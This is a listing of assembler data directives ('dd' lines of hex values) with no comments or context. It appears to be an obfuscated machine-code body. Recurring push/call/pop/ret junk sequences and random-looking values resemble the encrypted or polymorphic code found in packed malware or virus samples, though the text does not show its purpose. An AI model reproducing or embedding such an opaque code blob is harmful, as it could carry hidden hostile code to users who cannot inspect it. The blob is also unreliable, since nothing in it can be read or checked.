		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0B3C35646h
		dd 106C7C8h, 6A000100h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 494EC351h, 0CA84F5BCh
		dd 878FE381h, 8B6611C4h, 965096D9h, 1318D29h, 0B5FF06A8h
		dd 6ABA227h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	88C35343h, 0FE256E1Fh, 9995FFEBh, 6606A821h, 8B7C9CBBh
		dd 0ABA21BB5h, 57006A06h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 19229C34h, 41858B0Dh
		dd 8906A80Eh, 0A81FE1B5h, 0C4868906h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 834FC356h, 0B2490C19h, 0C55BD89h, 958B06A8h,	6A805B9h
		dd 1E999D8Bh, 0C28306A8h, 53006A04h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 39AD6CF0h
		dd 44E8610Bh, 5810Fh, 0F510000h, 895FFEBFh, 9D8B2050h
		dd 6A81DDDh, 0B7CE858Dh, 0BE906ABh, 7D000000h, 9FDC2628h
		dd 14547AA3h, 86893E67h, 0B8h, 0B77DDB81h, 6A260Bh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 83C35343h, 0F164AF9Dh
		dd 9E5E9DBh, 1D9D3320h,	0FF06A80Fh, 0ABA227B5h,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 59960B18h, 664644F2h, 0EC50E781h, 1E1D95FFh,	6A06A8h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0E2F908C3h, 0D1D2E04Ah, 9D8B19A5h, 6A82BD5h,	34B750F5h
		dd 66243489h, 0C445DF81h, 0A227B5FFh, 858906ABh, 6A825D9h
		dd 2A6995FFh, 6A06A8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 79A2FFC3h, 8B4C7A6Bh, 83F9FA8Ah
		dd 0A82E3DBDh, 840F0006h, 0Ch, 7046BB66h, 89DF8B50h, 0D88B2434h
		dd 0A227B5FFh, 6A06ABh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 0FD2A8DC3h, 0CA4B8516h, 34BD9D29h
		dd 95FF06A8h, 6A83185h
		dd 28B0F60h, 57000000h,	0FF61F85Eh, 0ABA227B5h,	0F59D8B06h
		dd 0FF06A813h, 0A80F5595h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0B316436Eh
		dd 0D0494A65h, 81667AE5h, 8360ACEBh, 0A8077DBDh, 840F0206h
		dd 41h,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h
		dd 3FC35242h, 353668CCh, 0D19858Bh, 858906A8h, 6A81EF5h
		dd 0E90000C6h, 0Dh, 1DF81138h, 485BA135h, 9829FE73h, 0C185C7DEh
		dd 6A80Dh, 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 33B1C357h, 58D444B8h, 810F8F08h
		dd 6, 3079BD8Bh, 0ABE906A8h, 8BFFFFF3h,	0A807659Dh, 6AC18B06h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 0D08DC350h, 81EBC1B9h, 0B99EE7F7h, 85858D5Bh
		dd 6A06A833h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 2C01C351h, 89B06384h, 0A8018D85h
		dd 25BF5006h, 8948F6BBh, 6A2404h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 64E25BC3h, 0EAD0883Ah
		dd 66A3D108h, 9F8ECB81h, 6A006Ah, 13FDBD8Bh, 0FE8B06A8h
		dd 0EAD5858Dh, 6A06ACh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 543B39C3h, 5C083F7h, 3D43E381h
		dd 66905FD9h, 505539BBh, 8A2896BBh, 6A9050h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 81C35141h, 0E51ECEDDh
		dd 0BF6656F8h, 6A5F5B25h, 0A5BD2B00h, 0E906A82Fh, 0Eh
		dd 107CF68Bh, 0E9031EC4h, 0D99E3C1Dh, 95FF1324h, 6A82541h
		dd 1401BD8Bh, 8D8D06A8h, 6AB8C7Fh, 0FFFFBF0Fh, 9DBD83D1h
		dd 106A833h, 94850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 909A6BC3h, 66F78105h
		dd 6A6B4C50h, 51006A02h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 0B90B51C2h, 12E990FAh, 5C000000h
		dd 0DF2EC1B2h, 0C51A07FAh, 29079FA0h, 85F945A7h, 0F88B50E4h
		dd 9D8B5190h, 6A831E9h,	1D95FF5Bh, 6A06A81Eh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 0CC72C357h, 0F3CB44Dh, 30E9DABFh, 0E800000Dh, 0
		dd 0DFED815Dh, 8A06ACEAh, 0E5BD89DCh, 8D06A82Ah, 0AB7E2E85h
		dd 68C0F06h, 8B000000h,	0A81795BDh, 850F5006h, 0Ah, 48F0Fh
		dd 0BB660000h, 489B39Bh, 35FF6424h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0A7C35343h
		dd 0D26B51A2h, 8964763Ah, 25h, 57006A00h, 3E8h,	0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0B7BD14FAh
		dd 0FF1B5F73h, 0A833F185h, 0BE806h, 538F0000h, 0A6418DABh
		dd 410E5CD9h, 8DBD8921h, 5F06A80Fh, 9850Fh, 0FC600000h
		dd 3311BD89h, 6A6106A8h, 818D89FFh, 0FF06A831h,	0A816FDB5h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 0E0224D9Ah, 0B2E6F37Ah, 2BB66D3h, 7D95FF6Ah
		dd 0E906A82Ah, 136h, 0BB6600B0h, 70E63F8Dh, 4FB9BB66h
		dd 39BB71E4h, 3C5BF957h, 1B830F61h, 0F000001h, 85h, 0FE86000h
		dd 0DB000000h, 2246C578h, 0D344956Bh, 0A9BA09DFh, 8D8BAF4Dh
		dd 6A82A01h, 0C8BF0F5Fh, 0C8B60F61h, 6A5BD23h, 853106A8h
		dd 6A80FCDh, 6BAh, 6D853100h, 8B06A80Ch, 459D89C1h, 0C106A801h
		dd 0FC8A04E8h, 0FE2F766h, 0C82BFAB7h, 97D9D8Bh,	0EE906A8h
		dd 5E000000h, 2F0EE2D5h, 919141DEh, 9C404241h, 0BFD18B8Eh
		dd 35D62B0Fh, 0A1E9h, 13E900h, 15230000h, 0D1D9259Bh, 0EABFF2E2h
		dd 0A5EC56FDh, 69EBA836h, 44858B1Bh, 605F4C4Ch,	0EDD8E4BFh
		dd 0D985892Fh, 6106A81Fh, 0EAD9D89h, 0C08306A8h, 9D8BF907h
		dd 6A82651h, 0F900C083h, 830FD03Bh, 0Fh, 25258D89h, 4FE906A8h
		dd 66000000h, 8B23EFBBh, 0FFFFFF8Dh, 0DE851FFh,	0D000000h
		dd 8A7F013Fh, 7B110D12h, 5300B754h, 5B5F5B53h, 0F01E183h
		dd 2584h, 83DE8B00h, 0FFFFFFA5h, 8E0FFEFFh, 6, 155BD8Bh
		dd 958906A8h, 5F4C4C44h, 88C78166h, 0E90Ah, 0B58D0000h
		dd 6AC608Fh, 1840Fh, 0FF80000h,	6AF8B7h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Dh, 9EC35040h, 0EC472DECh
		dd 0BF49A384h, 1DBF663Bh, 3195FF45h, 6606A81Bh,	0B94377BFh
		dd 0F23h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	0C0C35242h, 3136C789h, 0A81009BDh, 0FCE18306h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0A6C35242h
		dd 6E406420h, 8919B7BFh, 12E922h, 7B110000h, 5300B754h
		dd 0CBB785CAh, 0CFFFD56Dh, 2453BA7Bh, 6AC02BFCh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 9C5DC350h, 6BC764F5h, 0E9701A38h, 0Eh, 0E83361C4h, 8CF4C4B6h
		dd 1892EEE4h, 0D22BFACFh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 65C35545h, 983655A5h,	0F798D89h, 9D8B06A8h
		dd 6A82B85h, 0D1C233ADh, 83D003E8h, 0F47504E9h,	0C1852957h
		dd 5F06A82Bh, 0DF98B66h, 88h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 9C35747h, 0BF0FE6C9h, 9D9D29FEh
		dd 0E906A819h, 13h, 68857546h, 0EDA83839h, 65687135h, 0EB58CD91h
		dd 8B36B3F9h, 0A805B995h, 0F9BF0F06h, 14698D8Bh, 6A06A8h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0F9CB93C3h, 0F8C5A2D3h, 8B5007F1h, 3188BC2h,	8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	20D99509h, 0BD8306A8h, 6A80C91h
		dd 75840F00h, 0F000000h, 387h, 0F98B6600h, 0C99D8B51h
		dd 5B06A80Ch, 0B8h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 8C52AB02h, 9D8BF20Ah
		dd 6A830E5h, 4FAF8D8Dh,	6A06A8h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 13CAEC3h, 0EB8166DEh
		dd 9D8B0FDEh, 6A81F71h,	0C381E1FFh, 3A218825h, 0BBDBD83h
		dd 0F0006A8h, 42584h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 4C4C35F6h, 0B9D2D8D5h
		dd 0F9BD8B53h, 8306A833h, 0A80BBDBDh, 840F0106h, 409h
		dd 26D9D8Bh, 0BD8306A8h, 6A80BBDh, 0C0860F03h, 6A000003h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 0F202C350h, 0D34E799Fh, 0C5958909h, 6006A80Ch
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 95C35242h
		dd 45D8AE03h, 896034B4h, 0A80721BDh, 85336006h,	6A80D05h
		dd 8E0Fh, 61610000h, 80D98C66h,	0E18088C3h, 0DD9D8B04h
		dd 0F806A819h, 840FC90Ah, 169h,	12E9A9B3h, 12000000h, 176B94A6h
		dd 5610DEDCh, 93010B99h, 8CA09C12h, 0E1858BF0h,	6A06A80Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 7FDCC353h, 5D85333Fh, 0E906A81Dh,	0Bh, 0E17062ACh
		dd 44F57C71h, 50B8DD33h, 489DF8Bh, 53006A24h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 306B5F43h
		dd 18DAE269h, 0B11BD8Bh, 6A06A8h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 0FFC35343h,	2A4A4C8Bh, 0D08E3F94h
		dd 8F0F70h, 0F000000h, 4E8DBBFh, 0FF000000h, 52001F03h
		dd 5FFB8B66h, 24448B50h, 0F525004h, 5E931h, 6B00000h, 5A9AE318h
		dd 60008B58h, 0BB616060h, 15EE3E1Eh, 44896161h,	6A580424h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 0DA2EC356h, 4195FF5Ch, 2306A807h,	0A82B0DBDh
		dd 27858906h, 5106ABA2h, 0FE9h,	0B116C100h, 13A84EECh
		dd 13A289B5h, 8D5D1177h, 16DE95Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 9DBA65C3h
		dd 53C4F3C0h, 0FE98Eh, 0A3AA0000h, 4CCFFAD7h, 3E56BFCEh
		dd 0F9581BE8h, 1F858B12h, 0E806ABA2h, 0Ah, 0FDB59FDEh
		dd 0C8C66AC7h, 9D8BB807h, 6A81C09h, 1800C75Bh, 0F000000h
		dd 682h, 0D9D8B00h, 6606A832h, 0B58BDA8Bh, 6ABA223h, 23F9B70Fh
		dd 0A807B1BDh, 7D858B06h, 0F06A82Bh, 82h, 8B068900h, 0E1858BFEh
		dd 0F506A80Bh, 0E8044689h, 0Dh,	73A36620h, 36B68AEBh, 79C8D8BBh
		dd 0D88B66F1h, 0A1BD035Bh, 9606A81Ah, 96505F52h, 0A21FB5FFh
		dd 6A06ABh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 85B121C3h, 0FBBDF06Ch, 6824C466h,	0F1E9CCA4h
		dd 81FA8B66h, 375B2404h, 0D2BF0E35h, 8D0CEE4Eh,	0ABA22785h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 90A2491Ch, 90D88B50h, 1EB59D8Bh,	52BF06A8h
		dd 0FF386F6Eh, 0A8074195h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0DC7A5BCBh
		dd 0A9831F93h, 6692BB66h, 6E8h,	0F9F5800h, 0E93D4855h
		dd 0Ah,	7EB23363h, 4CE6E584h, 615FFDD7h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 17h, 0BFC35646h, 8B9C6A85h
		dd 0A808399Dh, 0BD85C706h, 306A80Bh, 89000000h,	0A821218Dh
		dd 27BD8306h, 6ABA2h, 65840Fh, 6A0000h,	3E851h,	59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 64AAD5C3h
		dd 9D164542h
		dd 0BD8B0004h, 6A81631h, 5465EF81h, 4BE948E6h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 0FE73C351h, 74DE9829h, 29AC8B9Fh,	0A82D8185h
		dd 0B1BD8B06h, 5006A807h, 110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 0BF66C08Bh, 8589B93Bh, 6A826C1h
		dd 6C99D8Bh, 14E906A8h,	62000000h, 45B2B821h, 0B6FC9B06h
		dd 3D0352C0h, 4B78B14Ah, 8352189Fh, 0A80BBDBDh,	850F0306h
		dd 3F5h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 17h,	0E5C35747h, 83E57DE5h, 0ABA227BDh, 840F0006h, 3C9h
		dd 27B5FFF9h, 6A06ABA2h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 8383C352h, 15F995FFh
		dd 6A06A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 0F21650C3h, 1BB58B4Bh, 0F06ABA2h,	28Dh, 0C7F98B00h
		dd 1000106h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 0ADD78001h, 4850Fh, 0BB660000h, 0BB96C048h
		dd 21CBD5D9h, 8F0F6050h, 0
		dd 14E9h, 0D4FD3000h, 61626FD3h, 1F1BFD21h, 3817A79Bh
		dd 74F779E6h, 6A9661C6h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 840C356h, 89412687h
		dd 146ABB6h, 0A828998Dh, 9214BF06h, 0B5FF0E14h,	6ABA227h
		dd 32798509h, 9D8B06A8h, 6A81019h, 219995FFh, 6A06A8h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0AF7D97C3h, 8BE25FC4h, 0ABA21BB5h, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
		dd 858BB548h, 6A80E41h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 5C35747h, 61BE4094h, 560D69A5h, 51858960h
		dd 8906A833h, 0A834C9B5h, 86896106h, 0C4h, 28A5BD89h, 958B06A8h
		dd 6A805B9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 14h,	0E3C35646h, 83FBBF0Fh, 7E804C2h, 89000000h, 0F9D97DB1h
		dd 8589CE61h, 6A819DDh,	2050895Fh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 0F6C35343h,	56B0702Bh, 816630F9h
		dd 8A90A7EBh, 0CE858DFDh, 6A06ABB7h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 318EC351h
		dd 8960F90Bh, 0A82E41B5h, 0D952906h, 6106A814h,	0B88689h
		dd 6A0000h, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 18h,	67C35747h, 1C83A408h, 0A227B5FFh, 8B5706ABh, 0A82B2DBDh
		dd 95FF5F06h, 6A81E1Dh,	25E5BD8Bh, 665006A8h, 3489FA8Bh
		dd 0FB8B6624h, 0A227B5FFh, 8E0F06ABh, 3, 0F8DDB80h, 95FFD9B7h
		dd 6A82A69h, 8F0Fh, 0BD830000h,	6A82E3Dh, 38840F00h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 31ADC351h, 0DE40F4E8h, 8B993B2Ch,	0A829E5BDh
		dd 0BF665006h, 34899A90h, 55BD3324h, 0FF06A801h, 0ABA227B5h
		dd 0B19D3106h, 0FF06A829h, 0A8318595h, 6880F06h, 89000000h
		dd 0A809B9B5h, 27B5FF06h, 8B06ABA2h, 0A80CA9BDh, 5595FF06h
		dd 6A06A80Fh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 9A61C355h, 0CE145DCEh,	14E933F7h
		dd 16000000h, 0C39EE607h, 0F444D837h, 3722DA0Ch, 5AFA2841h
		dd 66CBFDD1h, 83628EBBh, 0A8077DBDh, 840F0206h,	59h, 605BD8Bh
		dd 858B06A8h, 6A80D19h,	9E9h, 0FFDEA500h, 0E4A9035Eh, 0C6E235h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 0F0CFEECBh, 0EAFA5806h, 0B1B5896Ah, 0F06A815h
		dd 68Bh, 11958900h, 8B06A833h, 0A80F799Dh, 0C185C706h
		dd 6A80Dh, 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 48CBC351h, 6F82B9C3h, 0F3B1E97Bh
		dd 8DB7FFFFh, 6AC18Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 889B72C3h, 61BD8BABh, 8D06A822h
		dd 0A8338585h, 52006A06h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 399D8B82h, 9006A80Bh
		dd 0BE9h, 278D8900h, 0EACA1638h, 33E9615Ah, 9023B350h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 6DC35343h
		dd 6A8A08h, 0E856006Ah,	3, 5EC35E20h, 4247489h,	4244481h
		dd 18h,	0C3C35646h, 0DD21C14Fh,	8166006Ah, 8D255CEFh, 0ACFA1B85h
		dd 2CAABF06h, 0C0830BD4h, 0B70F6005h, 3DB58BFAh, 6106A809h
		dd 12E9h, 0D6B4AF00h, 8B855624h, 0EF3886B2h, 0D1EEF56Eh
		dd 50F12AA9h, 8BBDB160h, 48961FBh, 57006A24h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 2685D34Ah
		dd 5890Fh, 81660000h, 6A3F4DF7h, 559D8900h, 6A06A82Ah
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 242BBAA3h, 9D319F55h, 6A80591h, 2AC5B589h
		dd 95FF06A8h, 6A82541h,	14E9h, 81E1E000h, 127FD9DBh, 3044D4D0h
		dd 2559C328h, 6E5095EFh, 7F8D8D90h, 6A06AB8Ch, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 0A4FEC355h, 0FFB2F629h, 0D19D8BD1h, 8306A827h, 0A8339DBDh
		dd 850F0106h, 98h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 8CC35343h, 0F781668Fh, 26AEDF8h, 0FB8B6656h
		dd 0FABF905Fh, 5030A2A2h, 6A90DF8Bh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 49A8C356h
		dd 8344C586h, 0F8E0F7Ch, 0E9000000h, 0Ah, 0E6D034AAh, 0DA292001h
		dd 95FFEF1Dh, 6A81E1Dh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 0FEC35545h, 86D014EFh, 9D8BF96Eh, 6A820E1h
		dd 0E88E9h, 0E800h, 815D0000h, 0ACFA25EDh, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
		dd 0DF8BB5DBh, 9290F4BBh, 2E858D6Fh, 8B06AB7Eh,	0A8028DBDh
		dd 52505006h, 0BF60310Fh, 3A3EF0FAh, 2432BA66h,	89585A61h
		dd 85092404h, 6A80DF9h,	35FF64h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 0D009C350h
		dd 0C7802025h, 25896499h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 62C35747h
		dd 0BD8BBB56h, 6A80D09h, 33F185FFh, 6A06A8h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 330057C3h
		dd 0B1C53559h, 8B6657E1h, 8B665FFEh, 6AFF6AD9h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 1B96C350h, 9DFF337Eh, 0DF819AB3h, 1F95469h, 2111B5FFh
		dd 6A06A8h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 0FEE8ABC3h, 95FF34B0h, 6A82A7Dh, 14DE9h
		dd 4D952900h, 0BF06A80Eh, 676072B8h, 0BD8B00B0h, 6A829F1h
		dd 0BB6670E6h, 71E427C1h, 80DBADBFh, 0F613C0Eh,	12583h
		dd 14E800h, 0CA800000h,	82B7F6D4h, 0B19A328Dh, 11271CA8h
		dd 5E3F64EDh, 840F77C3h, 3, 5FDCC380h, 0BFC8B60Fh, 737683D3h
		dd 6BAh, 4DBD0900h, 8B06A809h, 6800FC1h, 8B000000h, 0A82C459Dh
		dd 4E8C106h, 1989B509h,	9D8B06A8h, 6A80F05h, 8BE2F766h
		dd 0A80759BDh, 8BC82B06h, 0A81D91BDh, 0FD18B06h, 8D0FDBB7h
		dd 0Ch,	6840Fh,	8D290000h, 6A813E9h, 0A5E9h, 9DBF6600h
		dd 50858B2Dh, 8B47554Ch, 0A81E21BDh, 61858906h,	8306A82Fh
		dd 0F55607C0h, 0EE95Bh,	1BC10000h, 14622C3h, 0CED08C80h
		dd 0EA1419FBh, 5700C083h, 9E8h,	0AEE23500h, 1020D2E9h
		dd 5BF92078h, 0FD03B5Bh, 1583h,	29B53100h, 5106A822h, 0E95BDE8Ah
		dd 4Ah,	7D58529h, 8D8B06A8h, 0FFFFFFFFh, 1BE99D89h, 0E18306A8h
		dd 2F840F01h, 2B000000h, 0A80F31BDh, 0FFA58306h, 0FEFFFFFFh
		dd 1F119529h, 958906A8h, 47554C50h, 0CE9h, 70463300h, 0A7BE8EC5h
		dd 8CCD1DC0h, 0E9EFh, 0B58D0000h, 6AC6FB2h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 43C35040h, 0FB1B59A1h
		dd 667B5C14h, 8B02B2BBh, 0A815959Dh, 0F006A06h,	68Ah, 0B59D2300h
		dd 0FF06A819h, 0A81B3195h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 0EE180B0Ah
		dd 0F78B6660h, 8E9h, 84DEA800h,	4A16B845h, 8D2961DCh, 6A833C1h
		dd 104FB9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 5C92AA93h, 34ED9D29h, 0BF0F06A8h
		dd 0FCE183F8h, 5860Fh, 81660000h, 0FC85BBEBh, 329DBD8Bh
		dd 8E906A8h, 0F5000000h, 0E9C431B1h, 2B5D9E98h,	9D9D31C0h
		dd 0BA06A816h, 0
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 4EC35545h, 0BDBB651Eh, 0B0CC32Dh
		dd 0A830FDBDh, 89BD8B06h, 6A06A830h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 726BC352h
		dd 727FF99Fh, 880D894Bh, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 904CC353h
		dd 0FBAAB2A7h, 958B33E5h, 6A805B9h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 14h, 0D2C35040h,	8D8BFD8Ah, 6A81469h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0B6C35545h
		dd 0FCD92B85h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h
		dd 6A5818h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 2E24EEC3h, 0C6E79584h, 0CABDD781h, 6A5E3Dh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 2FB9C6C3h, 8B52D213h, 0A829F1BDh, 91BD8306h,	6A80Ch
		dd 81840Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 1320CBC3h, 48DA32CDh, 0B8h, 9BD2B00h
		dd 8D06A825h, 0A84FAF8Dh, 85895606h, 6A82F95h, 0CDBD8B5Bh
		dd 0FF06A816h, 51006AE1h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 99B80E75h, 0E860DA95h
		dd 5, 0C6D9A02Fh, 41858BFDh, 5F06A82Fh,	958D2956h, 5B06A830h
		dd 83FB8B61h, 0A80BBDBDh, 840F0006h, 3F7h, 1701B589h, 0BD8306A8h
		dd 6A80BBDh, 0FF840F01h, 89000003h, 0A828A19Dh,	0BDBD8306h
		dd 306A80Bh, 3B6860Fh, 6A600000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 948DC350h
		dd 31958988h, 6606A81Ah, 0DE9D98Ch, 4C000000h, 0A46C9931h
		dd 460AE877h, 0D5C0AFB9h, 6604E180h, 2F9D781h, 840FC90Ah
		dd 112h, 858BFE8Bh, 6A80BE1h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 0A2C35747h,	1D5D8533h, 6A06A8h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0BD23CDC3h, 6A805D5h, 0EE850h, 57D60000h, 3B1CFC89h
		dd 475D5329h, 2DAF3C5Ch, 0A59BE60h, 33BF2617h, 616593A3h
		dd 2404895Fh, 1D9D8B51h, 5F06A815h, 6A006Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 4CE4FAC3h
		dd 0E1E465CDh, 0CD19589h, 8D2906A8h, 6A81FBDh, 7EB06B68h
		dd 0E9BB66FBh, 240481E9h, 4A05394h, 95FFD88Bh, 6A80741h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 80C35242h
		dd 636A1269h, 8166CB7Eh, 891614C3h, 0ABA22785h,	33BB6606h
		dd 212E9FFh, 10E80000h,	31000000h, 7BA155EEh, 0C34E6944h
		dd 0F788E767h, 5F2C563Dh, 1BE1B509h, 858B06A8h,	6ABA21Fh
		dd 0C7BCE380h, 1800h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 0D70B1730h, 2261B509h
		dd 0B58B06A8h, 6ABA223h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 0AAC35646h, 0DAB04454h, 873DAE4Eh, 0BE9FC45h
		dd 0D1000000h, 14A78241h, 0E7C3CE68h, 858B2814h, 6A82B7Dh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 76C35040h
		dd 644CED89h, 49EFA9FCh, 0BE9h,	60537600h, 75489DB2h, 234ECD7h
